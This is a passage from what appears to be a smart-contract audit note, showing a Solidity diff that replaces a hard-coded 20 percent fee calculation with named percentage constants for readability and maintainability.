+   uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / PERCENTAGE_DIVISOR;
-   uint256 fee = (totalAmountCollected * 20) / 100;
+   uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PERCENTAGE_DIVISOR;
}
```

This helps to make the code more readable and maintainable.